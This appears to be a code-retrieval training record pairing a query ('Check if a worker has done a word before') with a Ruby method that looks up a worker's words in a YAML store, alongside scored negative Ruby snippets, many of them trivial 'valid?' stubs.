|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def valid?\n return false if @action.nil?\n return false if @repeat.nil?\n true\n end",
"def valid?\n \n \n if @action.nil?\n return false\n end\n\n \n \n allowed_values = [\"DELETE\", \"EXPORT\"]\n if @action && !allowed_values.include?(@action)\n return false\n end\n \n \n \n \n if @action_date.nil?\n return false\n end\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n if @conversation_query.nil?\n return false\n end\n\n \n \n \n \n end",
"def determine_valid_action\n\n end",
"def validate_action?(action)\n\t\tres = subset?([action], @action_list)\n\t\tif ! res\n\t\t\tputs \"Action #{action}, is not valid\"\n\t\tend\n\n\t return res\n\tend",
"def is_valid_action?(aid)\n return aid > 0 && aid <= @total_actions\n end",
"def invalid?\n action_enum = action rescue nil\n !action_enum || (ack_required? && !has_serial?)\n end",
"def valid?\n \n if @action_url.nil?\n false\n elsif @digit_timeout_ms.nil?\n false\n elsif @finish_on_key.nil?\n false\n elsif @flush_buffer.nil?\n false\n elsif @initial_timeout_ms.nil?\n false\n elsif @max_digits.nil?\n false\n elsif @min_digits.nil?\n false\n elsif @prompts.nil?\n false\n elsif @privacy_mode.nil?\n false\n else\n list_invalid_properties.length() == 0\n end\n end",
"def action_argument_required?\n !AVAILABLE_ACTIONS.empty?\n end",
"def _valid_action_name?(action_name); end",
"def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end",
"def arguments_valid?\n ret = false\n ret = true unless (@options.action == nil)\n end",
"def inner_check(action, resource)\n false\n end",
"def action_allowed?(action_name, user)\n return false\n end",
"def valid?\n raise_error(@resource['error']) if ok? || error?\n end",
"def runs_validations_on_action?\n action == :save\n end",
"def valid_action?(value)\n # TODO: implement octal check\n false\n end",
"def valid_action?(value)\n action_names.include?(value)\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\r\n return true\r\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n true\n end",
"def valid?\n return true\n end",
"def valid?\n return true\n end",
"def valid?\n return true\n end",
"def valid?\n return true\n end",
"def valid?\n return true\n end",
"def valid?\n return true\n end",
"def valid?\n return true\n end",
"def valid?\n return true\n end",
"def valid?\n return true\n end",
"def valid?\n return true\n end",
"def valid?\n return true\n end",
"def valid?\n return true\n end"
] |
[
"0.820898",
"0.7990239",
"0.77358377",
"0.7545089",
"0.75231314",
"0.7410604",
"0.734058",
"0.7271474",
"0.72609496",
"0.71714884",
"0.7143502",
"0.7086672",
"0.7085747",
"0.708552",
"0.70381063",
"0.7034114",
"0.6981208",
"0.6935682",
"0.692516",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.6924839",
"0.69009507",
"0.68989664",
"0.68989664",
"0.68989664",
"0.68989664",
"0.6877868",
"0.6877868",
"0.6877868",
"0.6877868",
"0.6877868",
"0.6877868",
"0.6877868",
"0.6877868",
"0.6877868",
"0.6877868",
"0.6877868",
"0.6877868"
] |
0.8120907
|
1
|
Check if a worker has done a word before
|
def check_worker_id(args)
# Load params
worker = args['worker'].to_s.strip
word = args['word'].to_s.strip.downcase
# Load hash of who has done what
worker_words = YAML::Store.new(AMT_WORKER_WORD_LIST)
previous_work = worker_words.transaction do (worker_words[worker] && worker_words[worker].include?(word)) end
return compose_template('previous_work', binding) if previous_work
return compose_template('no_previous_work', binding)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_worker_word(worker, word)\n # puts \"######### #{worker} ######## #{word}\"\n\n # Load hash of who has done what\n worker_words = YAML::Store.new(AMT_WORKER_WORD_LIST)\n worker_words.transaction do\n # Set to array if she be not exist and add the word to the list\n worker_words[worker] = [] unless worker_words[worker]\n worker_words[worker] << word if(!worker_words[worker].include?(word))\n end\n end",
"def winner?\n @progress == @word\n end",
"def running_phrase_check(phrase)\n # Check if this phrase has been found before\n if @phrases[phrase.word_count][phrase] > 0\n @running_phrases << phrase\n else # Not found, so we are at the end of any longer phrase (if one exists)\n if @running_phrases.count > 1\n # Found more than one matching phrase in a row\n record_longer_phrase\n end\n @running_phrases.clear\n end\n end",
"def is_word_complete()\n !@current_state.include? \"_\"\n end",
"def process_words(words, dictionary)\n puts \"Starting thread #{Thread.current.object_id}\\n\"\n\n found = 0\n words.each do |word|\n if dictionary.include? word\n found += 1\n end\n end\n\n puts \"Done with thread #{Thread.current.object_id}\\n\"\n Thread.current[:found] = found\nend",
"def mark_done(str)\n todo = self.find_by_title(str)\n todo.done! if todo\n # find_by_title(str) && find_by_title(str).done! # alt from solution\n end",
"def check_player_words(player_guess_word)\n word.chomp.chars.each_with_index{\n |item, index|\n if item == player_guess_word.chomp.chars[index].to_s # exactly equal and in the same postion\n result = \"Exact\"\n elsif word.chomp.include?(player_guess_word.chars[index].to_s) # just includes the letter\n result = \"Near\"\n else # other condition that either not exact nor includes is.\n result = \"Miss\"\n end\n sleep(SLEEP_TIME) # just stop for a time make a good user experience\n puts \"Letter: #{player_guess_word.chars[index]} : #{result}\"\n }\n end",
"def mark_worker_was_here\n @adventure.events.create(action: 'worker_ran')\n end",
"def has_work?\n how_much_more_work > 0\n end",
"def already_played?(word)\n if (self.playedWords == nil)\n return word == self.firstWord\n end\n\n for pw in self.playedWords\n if pw.word == word\n return true\n end\n end\n return word == self.firstWord\n end",
"def perform?\n !song.synced?\n end",
"def check_for_victory(word, new_progress_message)\n if word == @new_progress_message\n @victory = true\n true\n end\nend",
"def work?(line)\n line =~ RE_WORK_LINE\n end",
"def check_completion(worker)\n return unless record_count && (input.count == 0)\n # Run after_perform, only if it has not already been run by another worker\n # and prevent other workers from also completing it\n if result = collection.update({ '_id' => id, 'state' => :running, 'sub_state' => :processing }, { '$set' => { 'sub_state' => :after }})\n if (result['nModified'] || result['n']).to_i > 0\n # Also update the in-memory value\n self.sub_state = :after\n # after_perform\n worker.rocket_job_call(perform_method, arguments, event: :after, log_level: log_level)\n complete!\n end\n else\n reload\n cleanup! if aborted?\n end\n end",
"def run\n searching if @nr_of_words >= @phrase_length\n end",
"def completed?\n !self.shift_jobs.empty?\n end",
"def is_work_name_previously_collected_and_valid?(question)\n answer_for(question, valid_response_exists?(\"PREG_VISIT_1_3.WORK_NAME\", :last))\n end",
"def work_pending?\n !buffer.empty?\n end",
"def player_won?\n unless @display_content.include?(\"_\")\n puts \"You found the correct word!\"\n true\n end\n end",
"def has_run?\n @passed != nil\n end",
"def needs_a_worker?\n\t\treturn true if self.workers.empty?\n\t\tqueue = self.get_message_counting_queue or return false\n\n\t\t# Calculate the number of workers across the whole broker\n\t\tif ( cc = queue.consumer_count ) >= self.max_workers\n\t\t\tself.log.debug \"%p: Already at max workers (%d)\" % [ self.task_class, self.max_workers ]\n\t\t\treturn false\n\t\telse\n\t\t\tself.log.debug \"%p: Not yet at max workers (have %d)\" % [ self.task_class, cc ]\n\t\tend\n\n\t\tself.log.debug \"Mean jobcount is %0.2f\" % [ self.mean_jobcount ]\n\t\treturn self.mean_jobcount > 1 && !self.sample_values_decreasing?\n\tend",
"def completed_text_extraction\n @found_completed_text_extraction = true\n end",
"def started?\n @worker.started?\n end",
"def check_word(word)\n if self.player.word_list.include?(word)\n puts \"Already found that one!\"\n elsif word.length < 4\n puts \"That word is too short. Words must be 4 letters or longer.\"\n elsif word.chars.include?(self.board.inner_letter) == false\n puts \"Missing center letter.\"\n elsif self.board.word_list.include?(word)\n #get points total for word\n points = self.board.get_word_value(word)\n self.player.add_points(points)\n #adds word to wordlist\n self.player.add_word(word)\n if self.board.pangram?(word)\n puts \"🐝 PANGRAM FOUND 🐝\"\n puts \"The bees are pleased. #{points} added to your score.\"\n else\n puts \"#{self.nice_messages.sample} #{points} point#{\"s\" if points > 1} added to your score.\"\n end\n self.player.display_total\n else\n puts \"Not in word list :(\"\n end\n end",
"def submit_word(word)\n letters_present_for(word) && @dictionary.include?(word)\n end",
"def done?\n beam.empty?\n end",
"def hear(words)\n words = sanitize(words)\n previous_word = nil\n\n words.scan(/[\\w\\':+#]+/) do |current_word|\n # Skip the word if it's in the blacklist\n next if WORD_BLACKLIST.include?(current_word)\n\n # Increment the number of times the current word has been the successor of\n # the previous word.\n @words_table.increment(previous_word, current_word)\n\n previous_word = current_word\n end\n\n # Record what the last word was.\n @words_table.increment(previous_word) if previous_word\n\n true\n end",
"def not_finished?\n more_results == :NOT_FINISHED\n end",
"def running?; started? && !finished? end",
"def include?(word)\n if !@head.nil?\n each do |data|\n if data.to_s.downcase == word.downcase\n return true\n end\n end\n end\n false\n end",
"def word_present?(word)\n @words.include?(word.downcase)\n end",
"def word_present?(word)\n @words.include?(word.downcase)\n end",
"def check_word(guess)\n\t\tguess_used = false\n\t\t@guess_history.each do |x|\n\t\t\t\tif x == guess\n\t\t\t\t\tguess_used = true\n\t\t\t\tend\n\t\t\tend\n\t\tif !guess_used\n\t\t\t@guess_count += 1\n\t\t\t@guess_history << guess\n\t\tend\n\t\tif guess == @target_word\n\t\t\t@win = true\n\t\t\t@is_over = true\n\t\telse\n\t\t\tfalse\n\t\tend\n\tend",
"def step_completed?\n !object.waiting_on.include?(scope)\n end",
"def _dont_thread?(wi)\n Ruote.participant_send(\n self,\n [ :dont_thread?, :do_not_thread?, :do_not_thread ],\n 'workitem' => wi)\n end",
"def trigger_condition_met?(_job)\n true\n end",
"def phrase_has_definitely_been_checked?(phrase, existing_article_titles)\n phrase_string = phrase.to_s\n #return false #This causes unit tests to fail\n #return existing_article_titles.any?{|existing_article_title| existing_article_title.chars.downcase.to_s.include?(phrase_string.chars.downcase)} #Unicode safe, too slow? :(\n return existing_article_titles.any?{|existing_article_title| existing_article_title.downcase.include?(phrase_string.downcase)} #Not unicode safe?\n end",
"def is_word(word)\n if @trie.has_key?(word) == true && word.length > 2 && @words.include?(word) == false\n return true\n else\n return false\n end\nend",
"def word\n @expected.empty? ? finish_response : continue_response\n end",
"def include?(word)\n find_word(word) { |found, current| return found && current.is_word }\n end",
"def presence_of_letter(user_guess)\n\t\tif @game_word.include? user_guess \n\t\t\tputs \"Nice! Your letter appears #{@presence_counter} times. Here is an update on your progress: \"\n\t\t\tp @current_state.join\n\t\t\t# return @current_state.join\n\t\telse\n\t\t\tputs \"Too bad! \\\"#{user_guess}\\\" is not in the mystery word! Here is your progress so far: \"\n\t\t\tp @current_state.join\n\t\t\t# return \"Too bad!\"\n\t\tend\n\n\t\tif @current_state.include?(\" _ \" )\n\t\t\tputs \"You have #{@total_guesses} guesses remaining.\"\n\t\tend\n\tend",
"def word_present?(word)\n @spellchecker.spellcheck(word)\n end",
"def should_stop?\n time_is_up? ? more_work? : false\n end",
"def query(letter)\n @string.push(letter)\n pointer = @trie\n @string.reverse_each do |char|\n if ! pointer[char]\n # Can not move the pointer to the new char.\n return false\n end\n pointer = pointer[char]\n # This is an end of a work.\n return true if pointer[:end]\n end\n # Did not find a word.\n return false\n end",
"def done?\n done == 'Y'\n end",
"def invalid_word? word\n\t\tstopwords_list.collect{ |w| w if w.include? word.to_s.strip }.uniq.any?\n\tend",
"def include?(word)\n # won't find words that have q but not u\n return false if word.upcase.match(/Q$|Q[^U]/)\n # won't find a word longer than 16\n return false if word.length > 16\n # normalize the word for searching\n searchy_word = word.upcase.sub(/QU/,\"Q\")\n if preindexed?\n # if we bothered to create a trie, we'd better use it\n search_trie(searchy_word)\n else\n # try a recursive search starting from each position\n @board.flatten.each_with_index.any? do |_, index|\n #convert flat index to x,y coords\n pos = index.divmod(4)\n search_board(searchy_word, @board, pos)\n end\n end\n end",
"def search_prev_word(word)\n @info.focus\n highlight_word word\n cursor = @info.index('insert')\n pos = @info.rsearch_with_length(Regexp.new(Regexp::quote(word), Regexp::IGNORECASE), cursor)[0]\n if pos.empty?\n @app.status = 'Cannot find \"%s\"' % word\n else\n set_cursor(pos)\n if @info.compare(cursor, '<=', pos)\n @app.status = 'Continuing search at bottom'\n else\n @app.status = ''\n end\n end\n end",
"def complete?\r\n # Both worker and instuction should not be nil and instruction should be complete\r\n !self.worker.blank? && !self.instruction.blank? && self.instruction.try(:complete?)\r\n end",
"def run?\n seconds_left == 0\n end",
"def done?\n return false if status.nil?\n \"done\".casecmp(status).zero?\n end",
"def run_on_busy_tb?\n $game_message.busy?\n end",
"def complete?\n if threaded?\n !running?\n else\n true\n end\n end",
"def working?\n @available_workers.length < @workers.length\n end",
"def more_work?\n get_queue_message_count(:job_requests) > 0\n end",
"def is_text_run? # rubocop:disable Naming/PredicateName\n defined?(@is_text_run) && @is_text_run && !contains_rich_text?\n end",
"def done?\n get_ingest_run.done?\n end",
"def worker_completed(worker)\n return if @aborting\n\n @completed << worker\n end",
"def qu_prefix(word)\n qu_test = /qu/ =~ word\n hack = word.scan(/\\w/)\n if qu_test == 0\n hack.delete_at(qu_test)\n hack.delete_at(qu_test)\n present = hack.join(\"\")\n present + \"quay\"\n else qu_test > 0\n popout = hack[qu_test-1]\n hack << popout\n hack.delete_at(qu_test)\n hack.delete_at(qu_test)\n hack.delete_at(qu_test-1)\n tot_ready = hack.join(\"\")\n tot_ready + \"quay\"\n end\nend",
"def running?\n\t\t!cancelled?\n\tend",
"def wait_for_others(w, orig_heading)\n loop do\n return if orig_heading != heading_for(w)\n sleep 1\n end\n end",
"def check_guess\n\t\t@word.include?(@guess)\n\n\tend",
"def word_has?(letter)\r\n @word.include?(letter)\r\n end",
"def do_not_thread; true; end",
"def do_not_thread; true; end",
"def do_not_thread; true; end",
"def performed?; end",
"def performed?; end",
"def check_for_available_workers\n workers >= working_count\n end",
"def has_waiters?\n waiting_writer?(@counter.value)\n end",
"def generate_results\n !(@incomplete_word.include? \"_\") ?\n puts(\"Congratulations, you won.\") :\n puts(\"\\nYou failed to guess the words.\")\n end",
"def word_test()\n if $build_word.join == $word # if $build_word equals $word, the user won\n $game_over = true # set the flag to indicate that the game is over\n $game_won = true # set the flag to indicate that the player won the game\n $games_won += 1 # so increase the games_won score by 1\n else # if they don't match, run user_input() for another letter\n $prompt = \"Good job - that letter was in the word. Please guess again!\"\n end\nend",
"def track_progress(word, guess, correct_guess, progress_message)\n \n if @correct_guess == true\n\n @index_of_correct_letter = word.index(guess)\n\n @inserted_prog_msg = @progress_message.insert(@index_of_correct_letter, guess)\n\n @inserted_prog_msg.slice!(@index_of_correct_letter + 1)\n\n @new_progress_message = @inserted_prog_msg\n\n puts \"Correct! The secret word is #{@new_progress_message}\"\n @new_progress_message\n\n else puts \"Incorrect! Guess again, the secret word is #{@new_progress_message}\"\n @new_progress_message\n end\nend",
"def play(word)\n \t# test to see if score is over 100\n \tif @scores_array.reduce(0, :+) >= WINNING_SCORE \n \t\treturn false\n \tend \n @words_played << word\n @scores_array << Scoring.score(word)\n end",
"def checking_dictionary_for_word_match\n @prefix = @str[@i_last_real_word...@i]\n \n if valid_word?(@prefix)\n if @skip_counter > 0\n @skip_counter -= 1\n else\n @words[i] = @prefix\n @i_last_real_word = @i\n end\n end\n end",
"def check_again\n if @thread.alive?\n wait 20\n else\n 'done'\n end\n end",
"def words_the_same?(word_to_test)\n word_to_test.downcase == @word.downcase\n end",
"def follow_on_job?\n false\n end",
"def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end",
"def enough_flippable_words?\n (words - all_excluded_words).size > 1\n end",
"def check(stopped)\n @next_check ||= DateTime.now + @sample_window.seconds\n\n before = DateTime.now + @schedule_threshold.seconds\n\n sk_utl = Util::SidekiqUtil\n has_queued_items = sk_utl.queue_size > 0 || sk_utl.scheduled_count(before) > 0 || sk_utl.retry_count(before) > 0\n\n # stopped: has ZERO instances? If a job is queued/scheduled soon/retried soon, should add a worker immediately\n if stopped && has_queued_items\n @next_check = nil\n return Action::INCREASE\n end\n\n if @next_check > DateTime.now\n log(:debug, 'Wait...')\n return Action::NOOP\n end\n\n @next_check = nil\n log(:debug, 'Check...')\n\n latency = Util::SidekiqUtil.max_latency || 0\n return Action::INCREASE if latency > @latency_threshold\n\n return Action::STOP unless has_queued_items\n\n # TODO check if NOOP?\n return Action::DECREASE\n end",
"def check_next_question(msg)\n msg.downcase.include? 'next'\nend",
"def testing_search?\n processes.include?('searchd')\nend",
"def do_not_thread\n true\n end",
"def word_has?(letter)\n @word.include? letter\n end",
"def word_has?(letter)\n @word.include?(letter)\n end",
"def continue?\n if self.suggest_another == \"1\"\n self.suggest_possibility\n elsif self.suggest_another == \"2\"\n self.where_are_you_at?\n elsif self.suggest_another == \"3\"\n exit\n end\n end",
"def done?\n @options[:num] && @messages.size >= @options[:num]\n end",
"def cpu_attempt\n (0..6).each do |c|\n token_placed = board_place_token(c)\n if game_result != NO_RESULT_YET # full send\n @state[:result] = game_result\n update_game_phase(GAME_OVER)\n return true\n elsif token_placed # make sure token was placed before force delete\n board_remove_token(c)\n end\n end\n false\n end",
"def guess_word(word)\n won = won?(word)\n @tries_left -= 1 unless won\n won\n end",
"def long_planeteer_calls(words)\n # Your code here\n words.any? do |word|\n word.length > 4\n end\nend",
"def check_If_Posted \n\t$used = $oldQuote.include? $quote\nend",
"def notify_if_just_finished\n return # disabled for now\n if percent_done == 100\n old = Torrent.find(self.id)\n if old.percent_done < 100 and statusmsg == 'seeding'\n self.watchings.find_all_by_apprise(true).collect {|w| w.user }.each do |user| \n Notifier.send_finished(user,self) if user.notifiable_via_jabber?\n end\n end\n end\n end",
"def should_run?\n Time.zone.now - @info.last_sent - @config.delay_time >= @config.run_every\n end",
"def trie_test\n @words.each_with_index do |word, i|\n # binding.pry\n seq = \"#{word} #{@words[i+1]} #{@words[i+2]}\"\n if\n @poe_trie.find(seq)\n return true\n end\n end\n return false\n end",
"def might_have_data?\n @state.to_s =~ /finished|aborted|running/\n end",
"def ran?\n completed? || failed?\n end",
"def finished?\n\tfinished_on.present? \n\tend",
"def check_completed\n\t\tend",
"def completed_se?(se)\n Helpers::log(\"Checks if .slide_done.txt is created for #{se}..\")\n done_se = completed_run\n done_se.each do |s|\n if /#{s}/.match(se)\n return TRUE\n end\n end\n return FALSE\n end"
] |
[
"0.6134283",
"0.61342525",
"0.5825287",
"0.58099174",
"0.56204337",
"0.5619865",
"0.56002283",
"0.5587403",
"0.5570429",
"0.5555913",
"0.54384136",
"0.54368955",
"0.5432886",
"0.54173166",
"0.54097795",
"0.540072",
"0.5383527",
"0.53751",
"0.53508466",
"0.5345757",
"0.5342739",
"0.5342229",
"0.5339092",
"0.53351855",
"0.53335196",
"0.53326434",
"0.5325091",
"0.5315888",
"0.5312442",
"0.5300708",
"0.52976435",
"0.52976435",
"0.52806807",
"0.5276276",
"0.5273054",
"0.52686447",
"0.5257049",
"0.523614",
"0.523597",
"0.5235683",
"0.52300787",
"0.52211946",
"0.52057505",
"0.51949984",
"0.5187835",
"0.5186412",
"0.5175793",
"0.5174085",
"0.5167738",
"0.5157242",
"0.515365",
"0.51530695",
"0.51476747",
"0.51466197",
"0.5146052",
"0.5145682",
"0.51427495",
"0.5133009",
"0.5131832",
"0.5114639",
"0.5106248",
"0.51060194",
"0.5101723",
"0.51013356",
"0.51013356",
"0.51013356",
"0.51000154",
"0.51000154",
"0.50838923",
"0.50821024",
"0.5076986",
"0.5076021",
"0.5074804",
"0.50668544",
"0.5062796",
"0.5055437",
"0.50480515",
"0.5047984",
"0.5046371",
"0.50400543",
"0.50349",
"0.5032489",
"0.5028322",
"0.50213325",
"0.5021249",
"0.5021218",
"0.5020663",
"0.5018388",
"0.50163615",
"0.50143665",
"0.5006403",
"0.5005844",
"0.5003486",
"0.49906218",
"0.49861398",
"0.4975087",
"0.49685284",
"0.4968084",
"0.49669525",
"0.49666426"
] |
0.67582035
|
0
|
Show a debug form
|
def go(args)
return compose_template('go', binding)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n # debugger\n end",
"def show\n #debugger\n end",
"def show\n # byebug\n end",
"def show\n # binding.pry\n \n end",
"def show() end",
"def show() end",
"def show() end",
"def debug(message, options = { })\n ::Guard::UI.debug(message, options)\n end",
"def debug\n with_template_factory do |template_factory|\n orig_debug = Graphics.debug\n Graphics.debug = true\n render_screen(template_factory, StringIO.new)\n Graphics.debug = orig_debug\n end\n end",
"def show \r\n end",
"def show\n# byebug\n end",
"def show\n\t\t end",
"def show ; end",
"def debug?; end",
"def debug?; end",
"def show\n puts \"******* show *******\"\n end",
"def show\n Frame.new.tap {|f| f.add(self) }.show\n end",
"def debug\n\t\t\texec_parsed_action('debug', [], false)\n\t\tend",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def display_form(evt)\n set_record evt[:id], evt[:pid]\n render :text => update(\"##{dom_id}_form\", form_content_options(evt[:pid])),\n :layout => 'form_reveal.js.erb',\n :locals => {:form_selector => \"#{dom_id}_form\"}\n end",
"def debug?\n true\n end",
"def debug?\n true\n end",
"def show\n #binding.pry\n end",
"def showEvent(p_event)\n\t\t\n\t\t\t# Only initialize form once, reuse state afterwards\n\t\t\tunless @initialized\n\t\t\t\t@initialized = true\n\t\t\t\t\n\t\t\t\tcreate_path_edit\n\t\t\t\tcreate_shell_tree_view\n\t\t\tend\n\t\t\t\n\t\tend",
"def debug; end",
"def debug; end",
"def debug; end",
"def debug; end",
"def debug state=true\n @debug = state\n end",
"def show!\n visible(true)\n end",
"def show!\n visible(true)\n end",
"def show\n if @input.devolucion\n @es_devolucion = \"Devolución\"\n else\n @es_devolucion = [\"Remito: \",@input.remito].join\n end\n end",
"def show\n init\n end",
"def show\r\n end",
"def show?; end",
"def debug!\n @client.debug_dev = STDOUT\n end",
"def show\r\n\r\n end",
"def show\r\n\r\n end",
"def show\r\n\r\n end",
"def show\n puts \"==========================\"\n puts \"SHOW\"\n end",
"def show\n #hh = 'show'\n # byebug\n end",
"def form; end",
"def show\n self.visible = true\n end",
"def debug! \n $DEBUG = true\n end",
"def show; end",
"def show; end",
"def show; end",
"def show_build\n end",
"def help; @form.help_manager.display_help; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end",
"def show; end"
] |
[
"0.7067696",
"0.7002051",
"0.6544137",
"0.64078385",
"0.6336204",
"0.6336204",
"0.6336204",
"0.62776357",
"0.6210443",
"0.6206953",
"0.6160108",
"0.613097",
"0.6063121",
"0.59878755",
"0.59878755",
"0.59828347",
"0.59723485",
"0.59639674",
"0.5962041",
"0.5962041",
"0.5962041",
"0.5962041",
"0.5962041",
"0.5962041",
"0.5962041",
"0.5962041",
"0.5962041",
"0.592327",
"0.5901184",
"0.5901184",
"0.588493",
"0.58837384",
"0.5878507",
"0.5878507",
"0.5878507",
"0.5878507",
"0.5851626",
"0.5831953",
"0.5831953",
"0.57869977",
"0.5754209",
"0.57482564",
"0.57252717",
"0.57230824",
"0.57157874",
"0.57157874",
"0.57157874",
"0.57118714",
"0.57072985",
"0.5704769",
"0.57028085",
"0.569991",
"0.5697345",
"0.5696816",
"0.5696816",
"0.56967235",
"0.5695735",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283",
"0.5695283"
] |
0.0
|
-1
|
Store the results and serve a receipt
|
def add(args)
# Check input is valid
receipt_code, fail_reason = handle_input(args['word'].to_s.strip.downcase,
args['from'].to_s.strip.downcase,
args['tags'].to_s.strip,
args['time'].to_s.strip.downcase,
args['worker'].to_s.strip,
args['lang'].to_s.strip.downcase)
# Success page else failure page
return compose_template('receipt', binding) if receipt_code
return compose_template('fail', binding)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def results\n send_query\n end",
"def results\n send_query\n end",
"def work_received(results)\n\n # write results to disk\n results.each do |name,fasta,qual,comments|\n @@results.write_seq(name,fasta,qual,comments)\n end\n \n end",
"def work_received(results)\n # write results to disk\n @@output_file.puts results\n end",
"def publish_result_data\n end",
"def store_result()\n #This is a stub, used for indexing\n end",
"def send_results(response)\n feedback_q_name = response['reply_queue']\n @@feedback_queue ||= MQ.queue(feedback_q_name)\n @@feedback_queue.publish(response.to_json)\n \n log_debug \"Published response to queue: \" + feedback_q_name\n end",
"def store_result(result); end",
"def receipt\n end",
"def receipt\n end",
"def judge_results\n result = params[\"result\"]\n channel = params[\"channel\"]\n\n Danthes.publish_to channel, :result => result\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end",
"def use_result\n store_result\n end",
"def synch\n @results = PurchaseOrder.synch_retur_now\n status = eval_status_res(@results)\n send_email_which_service_api_is_not_connected(status)\n respond_to do |f|\n @back_to_index = \"#{returned_processes_path}\"\n f.js {render :layout => false, :status=>status}\n end\n end",
"def publish_results\n @contestproblem.corrected!\n \n compute_new_contest_rankings(@contest)\n \n automatic_results_published_post(@contestproblem)\n \n redirect_to @contestproblem\n end",
"def return_result\n message = Message::Response.from_job(self)\n Stalker.instance_for(orderer).put(message)\n end",
"def show\n pr params\n pr payu_verify_return\n # IF payed, push to queue - onl once\n # todo\n end",
"def execute\n Response.new(:subject => \"Here are all my stories!\",\n :body => Story.titles.join(\"\\n\"),\n :email => email)\n end",
